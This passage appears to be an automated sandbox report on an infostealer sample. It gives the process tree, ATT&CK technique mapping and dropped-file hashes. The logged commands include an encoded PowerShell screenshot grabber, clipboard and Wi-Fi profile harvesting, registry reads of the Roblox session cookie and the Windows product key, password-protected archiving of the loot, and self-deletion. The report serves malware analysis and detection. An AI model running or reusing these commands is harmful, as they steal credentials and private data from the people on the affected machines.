    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:988
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:6920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1284
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6384
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5864
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2772
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\20yeqeu5\20yeqeu5.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:944
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES746B.tmp" "c:\Users\Admin\AppData\Local\Temp\20yeqeu5\CSCB13E531CA3C84AC9B02DFBBB28AE4.TMP"
        6⤵
        
        PID:5668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6636
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5344
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6632
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:6628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    PID:5416
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    PID:6188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    PID:368
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI41482\rar.exe a -r -hp"holahola123" "C:\Users\Admin\AppData\Local\Temp\lxlwu.zip" *"
    3⤵
    - Executes a command shell one-liner
    PID:5696
  - - C:\Users\Admin\AppData\Local\Temp\_MEI41482\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI41482\rar.exe a -r -hp"holahola123" "C:\Users\Admin\AppData\Local\Temp\lxlwu.zip" *
      4⤵
      Executes dropped EXE
      PID:6116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    PID:4944
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:2300
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:4100
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    PID:1912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:5656
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:1140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:1504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe""
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3600
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6364

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv UVNg/LX7uE+hrV8DR5swUA.0.2
1⤵
PID:7116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

20yeqeu5.dll

Path C:\Users\Admin\AppData\Local\Temp\20yeqeu5\20yeqeu5.dll
Size 4KB
SHA256 3ffddc9ee73f8f7ea86137bf5ccf9cd96ae18555f07d09366cc19548b9bc3e79
MD5 3e97f1161b233b99bba37a85a9aacaac
SHA1 6c5084b1ea30cc9e8e8772025182f59a1b063659
SHA512 e9b4aa3d02436fbc7f4ffbcc84b50e3ea6dc462b21b8fd26c753aa7cf01a11df4bf15f19fb9fe02477fbb0066e6c709e27d5146b9d73ec1ef33e9b39e6b8a183
TLSH
T1D281421693D8C56AF4BE0B75BDF383076775A9108B22A34F1C84121CAC31364AB25FA6
MD5 SHA1 SHA512 TLSH

Submit Download

5s5HJOwRvr.tmp

Path C:\Users\Admin\AppData\Local\Temp\5s5HJOwRvr.tmp
Size 138KB
SHA256 556da938c05971560ad0cbfd777369747cb908954cc3a3c920675fbf04c49c9d
MD5 340180b31a9db5def88cb42bfce3d078
SHA1 814f97e589b62e2758855c78739a5e812ec6afa8
SHA512 e2e858f88add155cc4b5c8ed63acb94e615e6e3917b85086952c135a32f3553c62dd9dd3d9442b5a5d44471243f6b465321e70f7049c7e09814bf12b177d43ed
SSDEEP 384:zeuvBnhJsueMEGvIW1DcP2Olvnln5xn61VumKn1nfnUna4:FnbZeMrv/hGtlvnln5xnfn1nfnUnP
TLSH
T1D9D3974B3A743102EDE59A721CE0517B5E3CB16D4F55A5D438B620688EF2863A23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

E9i6P35B6k.tmp

Path C:\Users\Admin\AppData\Local\Temp\E9i6P35B6k.tmp
Size 20KB
SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
MD5 40c4021f7a23fc1b361904d0519eb714
SHA1 eb811f03ded3cf26dc320980307be2b2f9335df5
SHA512 6cfd57cdb92272641c9ad007872cf25c11579c5bfd44935b988559b5e0cca1f4eff976265ff2c2b002f5176af6c8c21961f58e8fb108fcedf4370f9d640186ff
SSDEEP 24:TLf91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:T79aw/aHLopFMavU1iB
TLSH
T1B392AD8E1F343620C0F44B33F9C249972E7C212C93637A89EE5410F3DD965ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

KUVfE9U6K5.tmp

Path C:\Users\Admin\AppData\Local\Temp\KUVfE9U6K5.tmp
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MirghGK6fn.tmp

Path C:\Users\Admin\AppData\Local\Temp\MirghGK6fn.tmp
Size 256KB
SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
MD5 b9ac2e3133012e6df701783726dd2e73
SHA1 2027d37725c5f18085038027fb7ccb6fc6568a24
SHA512 6fa34bb32da7171c554d4b3b2988e25598427f3f485632cbbecb12a545909563b01ec12a1393d4c3307652eaee787977a88538c639221a43d46d1e49411adc04
SSDEEP 384:K8NTRZyCSDnxTICYMEhIKyll7svbFKfk7:KoNZJSDniwyI1l7svbF9
TLSH
T16544640A7B747001EDE2D9725CB080771E3C616E8F26E6816DB654694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OHQNmsOx9B.tmp

Path C:\Users\Admin\AppData\Local\Temp\OHQNmsOx9B.tmp
Size 224KB
SHA256 202de62a022e7bf018f1d42193f989a5b3aedffb165e0397e7fee777aed896f3
MD5 c98bd01f44bc7b4b3014469e39c200f4
SHA1 12d77b5742a984f0eff99296c930a56a59c57cc0
SHA512 c8ee072d32aa308a490611254d6351cd47f248fac2a73ccb6e0c5294cd5d08598b4e0a6a18824bf4d297681b54645a1469060c703860cc5c0100af81ef385c5d
SSDEEP 96:bam+FtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/9bbEOVpZf24JkMfXSFR+CFqD:b79H+bF+UI3iWGVoWN3qL/9VVV63
TLSH
T1A024EE4E5F343722CDBD913669E744A35C7CF03F8B5366DA686114B4CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES746B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES746B.tmp
Size 1KB
SHA256 8b0a19bb5e0c612603445e48931cf223c3e34b4735bfdf11e48ae6373f385fc0
MD5 fae843c66ea63396f01f634ad7579f9b
SHA1 970e190f0624ce14eee0eb3768d0fc6126fa53ee
SHA512 d4c314d0b74cd5a3b422c434b22db988fd000317213dab4ce368347e635500f91bbd354053baa987ee3ae3532ae34cf78ac135d0eed42cb98bfa193cf7853f03
TLSH
T11121DD0543ED870FF0B35B3168FA131FA264FD55EFA1536E8540422C1C52204EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

base_library.zip

